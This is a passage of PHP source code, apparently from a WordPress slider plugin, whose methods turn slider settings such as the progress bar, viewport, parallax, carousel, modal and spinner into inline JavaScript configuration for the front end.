0)};', $js); //stripslashes($js)); $html .= "\n"; return $html; } /** * get the custom css **/ public function js_get_custom_css(){ $html = ''; $css = $this->slider->get_param(array('codes', 'css'), ''); if($css === '') return $html; return $this->get_css_javascript($this->replace_html_ids($css)); } /** * get the spinner markup if a spinner was selected **/ public function get_spinner_markup(){ $html = ''; $spinner = (string)$this->slider->get_param(array('layout', 'spinner', 'type'), '0'); $color = $this->slider->get_param(array('layout', 'spinner', 'color'), '#FFFFFF'); switch($spinner){ case '1': case '2': $css_html = "#".$this->get_html_id()."_wrapper rs-loader.spinner".$spinner."{ background-color: ". $color ." !important; }"; $html = $this->get_css_javascript($css_html); break; case '3': case '4': $css_html = "#".$this->get_html_id()."_wrapper rs-loader.spinner".$spinner." div { background-color: ". $color ." !important; }"; $html = $this->get_css_javascript($css_html); break; case '0': case '5': default: break; } return $html; } /** * get notices for the console * @since: 6.1.6 **/ public function get_notices(){ $html = ''; if($this->orig_html_id !== false){ //$html .= $this->JTA . RS_T.''."\n"; } return $html; } /** * replace the ids in a text/html/css/javascript **/ public function replace_html_ids($text, $prefix = '#'){ return ($this->orig_html_id !== false) ? str_replace($prefix.$this->orig_html_id, $prefix.$this->get_html_id(), $text) : $text; } /** * get the fallback attibutes **/ public function js_get_fallback(){ $html = ''; $s = $this->slider; //shorten $fb = array(); $dpz = $s->get_param(array('general', 'disablePanZoomMobile'), false); $sii = $s->get_param(array('troubleshooting', 'simplify_ie8_ios4'), true); //was false $dfl = $s->get_param(array('general', 'disableFocusListener'), false); $urlhash = $s->get_param(array('general', 'enableurlhash'), false); $apvom = $s->get_param(array('general', 'autoPlayVideoOnMobile'), true); if($dpz !== false) $fb['panZoomDisableOnMobile'] = $dpz; if($sii !== false) $fb['simplifyAll'] = $sii; if($s->get_param('type', 'standard') !== 'hero'){ $nsof = $s->get_param(array('general', 'nextSlideOnFocus'), false); if($nsof !== false) $fb['nextSlideOnWindowFocus'] = $nsof; } if($dfl !== false) $fb['disableFocusListener'] = $dfl; if($urlhash !== false) { $html .= $this->JTA . RS_T5.'enableDeeplinkHash : true,'."\n";; } if($apvom !== false) $fb['allowHTML5AutoPlayOnAndroid'] = $apvom; if(!empty($fb)){ $ff = true; $html .= $this->JTA . RS_T5.'fallbacks: {'."\n"; foreach($fb as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the progressbar attibutes **/ public function js_get_progressbar(){ $html = ''; $s = $this->slider; //shorten $s_type = $s->get_param('type', 'standard'); if($s->get_param(array('general', 'progressbar', 'set'), true) === false || $s_type === 'hero'){ $html = $this->JTA . RS_T5.'progressBar:{disableProgressBar:true},'."\n"; } else { $pb = array(); $pb_basedon = $s->get_param(array('general', 'progressbar', 'basedon'), 'slide'); $pb_bgcolor = RSColorpicker::get($s->get_param(array('general', 'progressbar', 'bgcolor'), 'transparent')); $pb_color = RSColorpicker::get($s->get_param(array('general', 'progressbar', 'color'), 'rgba(255,255,255,0.5)')); $pb_gapcolor = RSColorpicker::get($s->get_param(array('general', 'progressbar', 'gapcolor'), 'rgba(255,255,255,0.5)')); $pb_gap = $s->get_param(array('general', 'progressbar', 'gap'), false); $pb_gaps = $s->get_param(array('general', 'progressbar', 'gapsize'), '0'); $pb_reset = $s->get_param(array('general', 'progressbar', 'reset'), 'reset'); $pb_horizontal = $s->get_param(array('general', 'progressbar', 'horizontal'), 'left'); $pb_ond = $s->get_param(array('general', 'progressbar', 'visibility', 'd'), true); $pb_onn = $s->get_param(array('general', 'progressbar', 'visibility', 'n'), true); $pb_ont = $s->get_param(array('general', 'progressbar', 'visibility', 't'), true); $pb_onm = $s->get_param(array('general', 'progressbar', 'visibility', 'm'), true); // take care about fall back on old vertical position if still exists $pb_vertical = $s->get_param(array('general', 'progressbar', 'vertical'), 'bottom'); $pb_old_position = $s->get_param(array('general', 'progressbar', 'position'), 'bottom'); if ($pb_old_position!=="bottom" && $pb_vertical==="bottom") $pb_vertical = $pb_old_position; // take care about fall back on old height if still exists $pb_size = $s->get_param(array('general', 'progressbar', 'size'), '5px'); $pb_old_height = $s->get_param(array('general', 'progressbar', 'height'), 5); if ($pb_old_height!=="5px" && $pb_size==="5px") $pb_size = $pb_old_height; $pb_style = $s->get_param(array('general', 'progressbar', 'style'), 'horizontal'); $pb_radius = $s->get_param(array('general', 'progressbar', 'radius'), 10); $pb_xof = $s->get_param(array('general', 'progressbar', 'x'), '0px'); $pb_yof = $s->get_param(array('general', 'progressbar', 'y'), '0px'); $pb_alignby = $s->get_param(array('general', 'progressbar', 'alignby'), 'slider'); if ($pb_basedon!=="slide") $pb['basedon'] = $pb_basedon; if ($pb_alignby!=="slider") $pb['alignby'] = $pb_alignby; if ($pb_bgcolor!=="transparent") $pb["bgcolor"] = $pb_bgcolor; if ($pb_color!=="rgba(255,255,255,0.5)") $pb["color"] = $pb_color; if ($pb_basedon==="module") { if ($pb_gaps!==0) $pb['gapsize'] = $pb_gaps; if ($pb_gapcolor!=="rgba(255,255,255,0.5)") $pb['gapcolor'] = $pb_gapcolor; if ($pb_gap!==false) $pb['gap'] = $pb_gap; } if ($pb_style!=="horizontal") $pb['style'] = $pb_style; if ($pb_horizontal!=="left") $pb['horizontal'] = $pb_horizontal; if ($pb_vertical!=="bottom") $pb['vertical'] = $pb_vertical; if ($pb_size!=="5px") $pb['size'] = $pb_size; if (($pb_style=="ccw" || $pb_style=="cw") && $pb_radius!==10) $pb['radius'] = $pb_radius; if ($pb_xof!=="0px") $pb['x'] = $pb_xof; if ($pb_yof!=="0px") $pb['y'] = $pb_yof; if ($pb_reset!=="reset") $pb['reset'] = $pb_reset; if(!empty($pb)){ $ff = true; $html .= $this->JTA . RS_T5.'progressBar: {'."\n"; foreach($pb as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } if ($pb_ond!==true || $pb_onn!==true || $pb_onm!==true || $pb_ont!==true) { $html .= ($ff === true) ? '' : ','."\n"; $ff = true; $html .= $this->JTA . RS_T6.'visibility: {'."\n"; if ($pb_ond!=true) { $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T7.'0:false'; $ff = false; } if ($pb_onn!=true) { $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T7.'1:false'; $ff = false; } if ($pb_ont!=true) { $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T7.'2:false'; $ff = false; } if ($pb_onm!=true) { $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T7.'3:false'; $ff = false; } $html .= "\n".$this->JTA . RS_T6.'},'."\n"; } $html .= "\n".$this->JTA . RS_T6.'},'."\n"; } } return $html; } /** * get the viewport attibutes **/ public function js_get_viewport(){ $html = ''; $s = $this->slider; //shorten $vp = array(); $evp = $s->get_param(array('general', 'slideshow', 'viewPort'), false); $evpg = $s->get_param(array('general', 'slideshow', 'globalViewPort'), false); $vp['global'] = $evpg; if($evpg !== "none"){ $evpgd = $s->get_param(array('general', 'slideshow', 'globalViewDist'), '-200px'); $vp['globalDist'] = $evpgd; } if(($evp === false && ($evpg === "false" || $evpg === "none")) || $evpg === "false") return $html; $vps = $s->get_param(array('general', 'slideshow', 'viewPortStart'), 'wait'); $psh = $s->get_param(array('general', 'slideshow', 'presetSliderHeight'), false); $vpa = $s->get_param(array('general', 'slideshow', 'viewPortArea'), 200); if($this->adv_resp_sizes == true){ $vpa = $this->normalize_device_settings($vpa, $this->enabled_sizes, 'html-array', array(200)); }else{ if(is_array($vpa) || is_object($vpa)) $vpa = $this->get_biggest_device_setting($vpa, $this->enabled_sizes); //vpa was before only on one level, so it can be a string or integer in the past } $vp['enable'] = $evp; if($vps !== 'wait') $vp['outof'] = $vps; if(!in_array($vpa, array(200, '200', '200px'), true)) $vp['visible_area'] = $vpa; if($psh !== false) $vp['presize'] = $psh; if(!empty($vp)){ $ff = true; $html .= $this->JTA . RS_T5.'viewPort: {'."\n"; foreach($vp as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the custom easings **/ public function js_get_custom_eases(){ $html = ''; $easings = array(); $custom_easings = array('SFXBounceLite', 'SFXBounceSolid', 'SFXBounceStrong', 'SFXBounceExtrem', 'BounceLite', 'BounceSolid', 'BounceStrong', 'BounceExtrem'); if(!empty($this->easings)){ foreach($custom_easings as $ce){ if(isset($this->easings[$ce])){ $easings[] = $ce; } } } if(!empty($easings)){ $ff = true; $html .= $this->JTA . RS_T5.'customEases: {'."\n"; foreach($easings as $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$v.':'; $html .= 'true'; $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the scrolleffect attibutes **/ public function js_get_scrolleffect(){ $html = ''; $s = $this->slider; //shorten $se = array(); $ge = $s->get_param(array('scrolleffects', 'set'), false); if($ge === false) return $html; $fa = $s->get_param(array('scrolleffects', 'setFade'), false); $bl = $s->get_param(array('scrolleffects', 'setBlur'), false); $sgs = $s->get_param(array('scrolleffects', 'setGrayScale'), false); $mb = $s->get_param(array('scrolleffects', 'maxBlur'), 10); $ol = $s->get_param(array('scrolleffects', 'layers'), false); $bg = $s->get_param(array('scrolleffects', 'bg'), false); $d = $s->get_param(array('scrolleffects', 'direction'), 'both'); $mp = $s->get_param(array('scrolleffects', 'multiplicator'), '1.35'); //was 1.3 $mpl = $s->get_param(array('scrolleffects', 'multiplicatorLayers'), '0.5'); //was 1.3 $ti = $s->get_param(array('scrolleffects', 'tilt'), '30'); $dom = $s->get_param(array('scrolleffects', 'disableOnMobile'), false); $se['set'] = $ge; if($fa !== false) $se['fade'] = $fa; if($bl !== false) $se['blur'] = $bl; if($sgs !== false) $se['grayscale'] = $sgs; if(!in_array($mb, array(10, '10', '10px'), true)) $se['maxblur'] = $mb; if($ol !== false) $se['layers'] = $ol; if($bg !== false) $se['slide'] = $bg; if($d !== 'both') $se['direction'] = $d; if(!in_array($mp, array(1.35, '1.35'), true)) $se['multiplicator'] = $mp; if(!in_array($mpl, array(0.5, '0.5'), true))$se['multiplicator_layers'] = $mpl; if(!in_array($ti, array(30, '30'), true)) $se['tilt'] = $ti; if($dom !== false) $se['disable_onmobile'] = $dom; if(!empty($se)){ $ff = true; $html .= $this->JTA . RS_T5.'scrolleffect: {'."\n"; foreach($se as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the scroll based timeline settings */ public function js_get_scrollbased_timeline(){ $html = ''; $s = $this->slider; //shorten $se = array(); $fa = $s->get_param(array('scrolltimeline', 'set'), false); if($fa === false) return $html; $pc = $s->get_param(array('scrolltimeline', 'pullcontent'), false); $ol = $s->get_param(array('scrolltimeline', 'layers'), false); $ea = $s->get_param(array('scrolltimeline', 'ease'), 'none'); $this->easings[$ea] = $ea; $sp = $s->get_param(array('scrolltimeline', 'speed'), 500); $sfix = $s->get_param(array('scrolltimeline', 'fixed'), false); $sfixs = $s->get_param(array('scrolltimeline', 'fixedStart'), 0); $sfixe = $s->get_param(array('scrolltimeline', 'fixedEnd'), 0); $se['set'] = $fa; if($pc !== false) $se['pullc'] = $pc; if($ol !== false) $se['layers'] = $ol; if($ea !== 'none') $se['ease'] = $ea; if($sp !== 500 && $sp !== '500' && $sp !== '500ms') $se['speed'] = $sp; if($sfix === true){ $se['fixed'] = $sfix; $se['fixStart'] = $sfixs; $se['fixEnd'] = $sfixe; } if(!empty($se)){ $ff = true; $html .= $this->JTA . RS_T5.'sbtimeline: {'."\n"; foreach($se as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the carousel attibutes **/ public function js_get_parallax(){ $html = ''; $s = $this->slider; //shorten $p = array(); if($s->get_param(array('parallax', 'set'), false) === false) return $html; $sd = $s->get_param(array('parallax', 'setDDD'), false); $pt = ($sd === true) ? '3D' : $s->get_param(array('parallax', 'mouse', 'type'), 'off'); $pl = array(); for($i = 0; $i <= 15; $i++){ $pl[] = intval($s->get_param(array('parallax', 'levels', $i), ($i + 1) * 5)); } $pl = implode(',', $pl); $or = ($sd === true) ? 'slidercenter' : $s->get_param(array('parallax', 'mouse', 'origo'), 'enterpoint'); $sp = $s->get_param(array('parallax', 'mouse', 'speed'), 400); $dpm = $s->get_param(array('parallax', 'disableOnMobile'), false); $bgs = $s->get_param(array('parallax', 'mouse', 'bgSpeed'), 0); $ls = $s->get_param(array('parallax', 'mouse', 'layersSpeed'), 0); $p['levels'] = '['.$pl.']'; if($pt !== 'off') $p['type'] = $pt; if($or !== 'enterpoint') $p['origo'] = $or; if(!in_array($sp, array(400, '400', '400ms'), true)) $p['speed'] = $sp; if($dpm !== false) $p['disable_onmobile'] = $dpm; if($pt === '3D'){ $sh = $s->get_param(array('parallax', 'ddd', 'shadow'), false); $bgf = $s->get_param(array('parallax', 'ddd', 'BGFreeze'), false); $of = $s->get_param(array('parallax', 'ddd', 'overflow'), false); $lof = $s->get_param(array('parallax', 'ddd', 'layerOverflow'), false); $zc = $s->get_param(array('parallax', 'ddd', 'zCorrection'), 400); if($sh !== false) $p['ddd_shadow'] = $sh; if($bgf !== false) $p['ddd_bgfreeze'] = $bgf; if($of !== false) $p['ddd_overflow'] = ($of === false) ? 'visible' : 'hidden'; if($lof !== false) $p['ddd_layer_overflow'] = $lof; if(!in_array($zc, array(400, '400', '400px'), true)) $p['ddd_z_correction'] = $zc; } else if ($pt === 'mousedrag') { $p['car_env'] = $s->get_param(array('parallax', 'mouse', 'env'), 'single'); $p['car_dir'] = $s->get_param(array('parallax', 'mouse', 'dir'), 'same'); $p['car_smulti'] = $s->get_param(array('parallax', 'mouse', 'smulti'), 1); $p['car_omulti'] = $s->get_param(array('parallax', 'mouse', 'omulti'), 1); } if(!in_array($bgs, array(0, '0', '0ms'), true)) $p['speedbg'] = $bgs; if(!in_array($ls, array(0, '0', '0ms'), true)) $p['speedls'] = $ls; if(!empty($p)){ $ff = true; $html .= $this->JTA . RS_T5.'parallax: {'."\n"; foreach($p as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the overlay attributes * @since: 6.4.0 */ public function js_get_overlay(){ $html = ''; $s = $this->slider; //shorten $do = $s->get_param(array('layout', 'bg', 'dottedOverlay'), 'none'); if($do !== 'none'){ $colora = str_replace(' ', '', $s->get_param(array('layout', 'bg', 'dottedColorA'), 'transparent')); $colorb = str_replace(' ', '', $s->get_param(array('layout', 'bg', 'dottedColorB'), '#000000')); $size = $s->get_param(array('layout', 'bg', 'dottedOverlaySize'), 1); $html .= $this->JTA . RS_T5.'overlay: {'."\n"; $html .= $this->JTA . RS_T6.'type: '.$this->write_js_var($do).",\n"; $html .= ($colora !== 'transparent') ? $this->JTA . RS_T6.'colora: '.$this->write_js_var($colora).",\n" : ''; $html .= (!in_array($colorb, array('', '#000000', '#000'), true)) ? $this->JTA . RS_T6.'colorb: '.$this->write_js_var($colorb).",\n" : ''; $html .= (!in_array($size, array('', '1', 1), true)) ? $this->JTA . RS_T6.'size: '.$this->write_js_var($size).",\n" : ''; $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get the Modal Attributes */ public function js_get_modal(){ $html = ''; $s = $this->slider; //shorten if($this->usage !== 'modal') return $html; $cover = $s->get_param(array('modal', 'cover'), true); $pagescroll = $s->get_param(array('modal', 'allowPageScroll'), true); $bodyclass = $s->get_param(array('modal', 'bodyclass'), ''); $speed = $s->get_param(array('modal', 'coverSpeed'), 1); $color = $s->get_param(array('modal', 'coverColor'), 'rgba(0,0,0,0.5)'); $h = $s->get_param(array('modal', 'horizontal'), 'center'); $v = $s->get_param(array('modal', 'vertical'), 'middle'); $c['useAsModal'] = true; $c['alias'] = esc_attr($this->slider->get_alias()); if($bodyclass !== '') $c['bodyclass'] = $bodyclass; if($cover !== true) $c['cover'] = $cover; if($pagescroll === true) $c['allowPageScroll'] = true; if($color !== 'rgba(0,0,0,0.5)') $c['coverColor'] = $color; if($speed !== 1) $c['coverSpeed'] = $speed; if($h !== 'center') $c['horizontal'] = $h; if($v !== 'middle') $c['vertical'] = $v; if ($this->modal !== '') $c['trigger'] = $this->modal; $ff = true; $html .= $this->JTA . RS_T5.'modal: {'."\n"; foreach($c as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; return $html; } /** * get the carousel attibutes **/ public function js_get_carousel(){ $html = ''; $s = $this->slider; //shorten $s_type = $s->get_param('type', 'standard'); if($s_type !== 'carousel') return $html; $c = array(); $ease = $s->get_param(array('carousel', 'ease'), 'power3.inOut'); $this->easings[$ease] = $ease; $speed = $s->get_param(array('carousel', 'speed'), 800); $osh = $s->get_param(array('carousel', 'overshoot'), false); $sal = $s->get_param(array('carousel', 'showAllLayers'), false); $ha = $s->get_param(array('carousel', 'horizontal'), 'center'); $va = $s->get_param(array('carousel', 'vertical'), 'center'); $in = $s->get_param(array('carousel', 'infinity'), false); $jus = $s->get_param(array('carousel', 'justify'), false); $ori = $s->get_param(array('carousel', 'orientation'), 'h'); $pnv = $s->get_param(array('carousel', 'prevNextVis'), '0px'); $socl = $s->get_param(array('carousel', 'stopOnClick'), true); $jusmw = $s->get_param(array('carousel', 'justifyMaxWidth'), false); $snap = $s->get_param(array('carousel', 'snap'), true); $sp = $s->get_param(array('carousel', 'space'), 0); $mvi = $s->get_param(array('carousel', 'maxItems'), 3); $st = $s->get_param(array('carousel', 'stretch'), false); $sn = $s->get_param(array('carousel', 'spin'), 'off'); $sna = $s->get_param(array('carousel', 'spinAngle'), 0); $skx = $s->get_param(array('carousel', 'skewX'), 0); $sky = $s->get_param(array('carousel', 'skewY'), 0); $fo = $s->get_param(array('carousel', 'fadeOut'), true); $cr = $s->get_param(array('carousel', 'rotation'), false); $cs = $s->get_param(array('carousel', 'scale'), false); $br = $s->get_param(array('carousel', 'borderRadius'), 0); $pt = $s->get_param(array('carousel', 'paddingTop'), 0); $pb = $s->get_param(array('carousel', 'paddingBottom'), 0); if ($ori=="v") $st = false; if($ease !== 'power3.inOut') $c['easing'] = $ease; if(!in_array($speed, array(800, '800', '800ms'), true)) $c['speed'] = $speed; if($osh !== false) $c['overshoot'] = $osh; if(!in_array($sal, array('false', false), true)) $c['showLayersAllTime'] = $sal; if($ha !== 'center') $c['horizontal_align'] = $ha; if($va !== 'center') $c['vertical_align'] = $va; if($in !== false) $c['infinity'] = $in; if($jus !== false) $c['justify'] = $jus; if($ori !== 'h') { $c['orientation'] = $ori; $c['prevNextVis'] = $pnv; } if($jusmw !== false) $c['justifyMaxWidth'] = $jusmw; if($snap !== true) $c['snap'] = $snap; if($socl !== true) $c['stopOnClick'] = $socl; if(!in_array($sp, array(0, '0', '0px'), true)) $c['space'] = $sp; if(!in_array($mvi, array(3, '3'), true)) $c['maxVisibleItems'] = $mvi; if($st !== false) $c['stretch'] = $st; if($fo !== true) $c['fadeout'] = $fo; if($sn !== 'off') $c['spin'] = $sn; if($sna !== 0) $c['spinAngle'] = $sna; if($skx !== 0) $c['skewX'] = $skx; if($sky !== 0) $c['skewY'] = $sky; if($cr === true){ $mr = $s->get_param(array('carousel', 'maxRotation'), 0); $vr = $s->get_param(array('carousel', 'varyRotate'), false); if(!in_array($mr, array(0, '0', '0deg'), true)) $c['maxRotation'] = $mr; if($vr === true) $c['vary_rotation'] = $vr; } if($cs === true){ $csd = $s->get_param(array('carousel', 'scaleDown'), 50); $csd = (intval(str_replace('%', '', $csd)) > 100) ? 100 : $csd; $vs = $s->get_param(array('carousel', 'varyScale'), false); $os = $s->get_param(array('carousel', 'offsetScale'), false); $c['minScale'] = $csd; if($os === true) $c['offsetScale'] = $os; if($vs === true) $c['vary_scale'] = $vs; } if($fo === true){ $vf = $s->get_param(array('carousel', 'varyFade'), false); if($vf !== false) $c['vary_fade'] = $vf; $mo = $s->get_param(array('carousel', 'maxOpacity'), 100); $mo = (intval(str_replace('%', '', $mo)) > 100) ? 100 : $mo; if(!in_array($mo, array(100, '100'), true)) $c['maxOpacity'] = $mo; } if(!in_array($br, array(0, '0', '0px'), true)) $c['border_radius'] = $br; if ($ori!=='v') { if(!in_array($pt, array(0, '0', '0px'), true)) $c['padding_top'] = $pt; if(!in_array($pb, array(0, '0', '0px'), true)) $c['padding_bottom'] = $pb; } if(!empty($c)){ $ff = true; $html .= $this->JTA . RS_T5.'carousel: {'."\n"; foreach($c as $k => $v){ $html .= ($ff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T6.$k.':'; $html .= $this->write_js_var($v); $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * get all the basic js keys we need **/ public function js_get_root(){ $html = ''; $s = $this->slider; //shorten $js_loc_r = explode('://', RS_PLUGIN_URL); $global = $this->get_global_settings(); $l_type = $s->get_param('layouttype'); $s_type = $s->get_param('type', 'standard'); $DPR = $s->get_param(array('general', 'DPR'), 'x2'); $csizes = $this->get_responsive_size($this); $fw = ($l_type == 'fullwidth') ? 'on' : 'off'; $fw = ($l_type == 'fullscreen') ? 'off' : $fw; $fs = ($l_type == 'fullscreen') ? 'on' : 'off'; $layout = 'auto'; if($fs == 'on'){ $layout = 'fullscreen'; }elseif($fw == 'on'){ $layout = 'fullwidth'; } $hsal = str_replace('px', '', $s->get_param(array('visibility', 'hideSliderUnderLimit'), 0)); $hlal = str_replace('px', '', $s->get_param(array('visibility', 'hideSelectedLayersUnderLimit'), 0)); $halul= str_replace('px', '', $s->get_param(array('visibility', 'hideAllLayersUnderLimit'), 0)); if(!empty($hsal)) $hsal++; if(!empty($hlal)) $hlal++; if(!empty($halul)) $halul++; $start_delay = $s->get_param(array('general', 'slideshow', 'initDelay'), '0'); $start_delay = apply_filters('revslider_add_js_delay', $start_delay); $spinner = $s->get_param(array('layout', 'spinner', 'type'), '0'); $spinner = (in_array($spinner, array(-1, '-1'), true)) ? 'off' : $spinner; $keys = array( 'revapi' => array( 'v' => $this->get_revapi(), 'd' => 'none' ), 'sliderType' => array( 'v' => $s_type, 'd' => 'standard' ), 'DPR' => array( 'v' => $DPR, 'd' => 'x2' ), /*'jsFileLocation' => array( 'v' => '//'.$js_loc_r[1] .'public/assets/js/', 'd' => '' ),*/ 'sliderLayout' => array( 'v' => $layout, 'd' => 'auto' ), /*'dottedOverlay' => array( //moved to multidimensional outside of this in 6.4.0 'v' => $s->get_param(array('layout', 'bg', 'dottedOverlay'), 'none'), 'd' => 'none' ),*/ 'duration' => array( 'v' => $s->get_param(array('def', 'delay'), '9000'), 'd' => array(9000, '9000', '9000ms') ), 'visibilityLevels' => array( 'v' => ($this->get_val($csizes, 'level', '') !== '') ? $this->get_val($csizes, 'level') : $this->get_val($csizes, 'visibilitylevel'), 'd' => '' ), 'gridwidth' => array( 'v' => $this->get_val($csizes, 'width'), 'd' => '' ), 'gridheight' => array( 'v' => $this->get_val($csizes, 'height'), 'd' => '' ), 'minHeight' => array( 'v' => ($l_type !== 'fullscreen') ? $s->get_param(array('size', 'minHeight'), 0) : $s->get_param(array('size', 'minHeightFullScreen'), 0), 'd' => array(0, '0', '0px') ), 'autoHeight' => array( 'v' => $s->get_param(array('size', 'respectAspectRatio'), false), 'd' => false ), 'enableUpscaling' => array( 'v' => $s->get_param(array('size', 'enableUpscaling'), false), 'd' => false ), 'hideSliderAtLimit' => array( 'v' => $hsal, 'd' => array(0, '0', '0px') ), 'hideLayerAtLimit' => array( 'v' => $hlal, 'd' => array(0, '0', '0px') ), 'hideAllLayerAtLimit' => array( 'v' => $halul, 'd' => array(0, '0', '0px') ), 'startDelay' => array( 'v' => $start_delay, 'd' => array(0, '0') ), 'lazyType' => array( 'v' => $s->get_param(array('general', 'lazyLoad'), 'none'), 'd' => 'none' ), 'spinner' => array( 'v' => 'spinner'.$spinner, 'd' => 'spinneroff' ), 'fixedOnTop' => array( 'v' => $s->get_param(array('layout', 'position', 'fixedOnTop'), false), 'd' => false ), 'forceOverflow' => array( 'v' => $s->get_param(array('size', 'forceOverflow'), false), 'd' => false ), 'overflowHidden' => array( 'v' => $s->get_param(array('size', 'overflowHidden'), false), 'd' => false ) ,'useFullScreenHeight' => array( 'v' => $s->get_param(array('size', 'useFullScreenHeight'), true), 'd' => true ), 'maxHeight' => array( 'v' => $s->get_param(array('size', 'maxHeight'), 'none'), 'd' => array('', 0, '0', 'none') ), 'perspective' => array( 'v' => $s->get_param(array('general', 'perspective'), '600px'), 'd' => '600px' ), 'perspectiveType' => array( 'v' => $s->get_param(array('general', 'perspectiveType'), 'local'), 'd' => array('none') ), 'keepBPHeight' => array( 'v' => $s->get_param(array('size', 'keepBPHeight'), false), 'd' => false ), 'observeWrap' => array( 'v' => $s->get_param(array('general', 'observeWrap'), false), 'd' => false ) ); /** * Shortcode Based Layout */ if($this->sc_layout !== ''){ $keys['sliderLayout']['v'] = $this->sc_layout; } if($keys['sliderType']['v']!=="carousel" || $keys['sliderLayout']['v']!=='fullscreen') { unset($keys['useFullScreenHeight']); } if($keys['minHeight']['v']==="") { unset($keys['minHeight']); } /** * Shortcode based Block Spacing */ if($this->offset !== ''){ $keys['blockSpacing'] = array( 'v' => $this->offset, 'd' => '' ); } /** * new spinners **/ if($spinner !== 'off' && intval($spinner) > 5){ $keys['spinnerclr'] = array( 'v' => $s->get_param(array('layout', 'spinner', 'color'), '#ffffff'), 'd' => '#ffffff' ); } $imgcrossOrigin = $this->get_val($global, 'imgcrossOrigin', 'unset'); if(!in_array($imgcrossOrigin, array('', 'unset'))){ $keys['imgCrossOrigin'] = array('v' => $imgcrossOrigin, 'd' => 'unset'); } $onedpronmobile = $this->get_val($global, 'onedpronmobile', false); if(in_array($onedpronmobile, array(true, 'true'), true)){ $keys['onedpronmobile'] = array('v' => true, 'd' => false); } $lazyloaddata = $this->get_val($global, 'lazyloaddata', ''); if($lazyloaddata !== ''){ $keys['lazyloaddata'] = array('v' => $lazyloaddata, 'd' => ''); } $lazyloadbg = $this->get_val($global, 'lazyonbg', false); if($lazyloadbg !== false && $lazyloadbg !== 'false'){ $keys['lazyOnBg'] = array('v' => $lazyloadbg, 'd' => false); } $cache_size = $this->slider->get_param(array('size', 'editorCache'), false); if($cache_size !== false){ $keys['editorheight'] = array('v' => implode(',', (array)$cache_size), 'd' => ''); } if($this->get_val($csizes, 'level', '') !== ''){ $keys['responsiveLevels'] = array('v' => $csizes['level'], 'd' => ''); } if($l_type == 'fullscreen'){ $keys['disableForceFullWidth'] = array('v' => $s->get_param(array('size', 'disableForceFullWidth'), false), 'd' => false); $keys['ignoreHeightChange'] = array('v' => $s->get_param(array('size', 'ignoreHeightChanges'), true), 'd' => true); $keys['gridEQModule'] = array('v' => $s->get_param(array('size', 'gridEQModule'), false), 'd' => false); $keys['fullScreenOffsetContainer'] = array('v' => $s->get_param(array('size', 'fullScreenOffsetContainer'), ''), 'd' => ''); $keys['fullScreenOffset'] = array('v' => $s->get_param(array('size', 'fullScreenOffset'), ''), 'd' => ''); } if($s_type !== 'hero'){ $stopSlider = $s->get_param(array('general', 'slideshow', 'stopSlider'), false); $loopSingle = $s->get_param(array('general', 'slideshow', 'loopSingle'), true); $stopAtSlide = $s->get_param(array('general', 'slideshow', 'stopAtSlide'), -1); $stopAfterLoops = $s->get_param(array('general', 'slideshow', 'stopAfterLoops'), 0); $slideShow = $s->get_param(array('general', 'slideshow', 'slideShow'), true); if(!$this->get_is_single_slide()){ if($slideShow === false){ $stopAtSlide = 1; $stopAfterLoops = 0; } if($slideShow === true && $stopSlider === false){ $stopAtSlide = -1; $stopAfterLoops = -1; } }else{ if($loopSingle === true){ $stopAtSlide = -1; $stopAfterLoops = -1; } } $keys['stopAtSlide'] = array('v' => $stopAtSlide, 'd' => array(-1, '-1')); $keys['stopAfterLoops'] = array('v' => $stopAfterLoops, 'd' => array(-1, '-1')); $keys['shuffle'] = array('v' => $s->get_param(array('general', 'slideshow', 'shuffle'), false), 'd' => false); } $parallax = $s->get_param(array('parallax', 'set'), false); $parallax_type = $s->get_param(array('parallax', 'mouse', 'type'), 'mouse'); if($s->get_param(array('parallax', 'setDDD'), false) == true){ $parallax_type = '3D'; } if($parallax != true || ($parallax == true && $parallax_type != '3D')){ $keys['shadow'] = array('v' => $s->get_param(array('layout', 'bg', 'shadow'), 0), 'd' => array(0, '0')); } if($s_type !== 'hero'){ $keys['stopLoop'] = array('v' => $s->get_param(array('general', 'slideshow', 'stopSlider'), false), 'd' => false); if($s->get_param(array('general', 'firstSlide', 'alternativeFirstSlideSet'), false) === true) $keys['startWithSlide'] = array('v' => $s->get_param(array('general', 'firstSlide', 'alternativeFirstSlide'), 1), 'd' => '9999'); } $keys['waitForInit'] = array('v' => $s->get_param(array('general', 'slideshow', 'waitForInit'), false), 'd' => false); if($this->frontend_action){ $keys['ajaxUrl'] = array('v' => admin_url('admin-ajax.php'), 'd' => 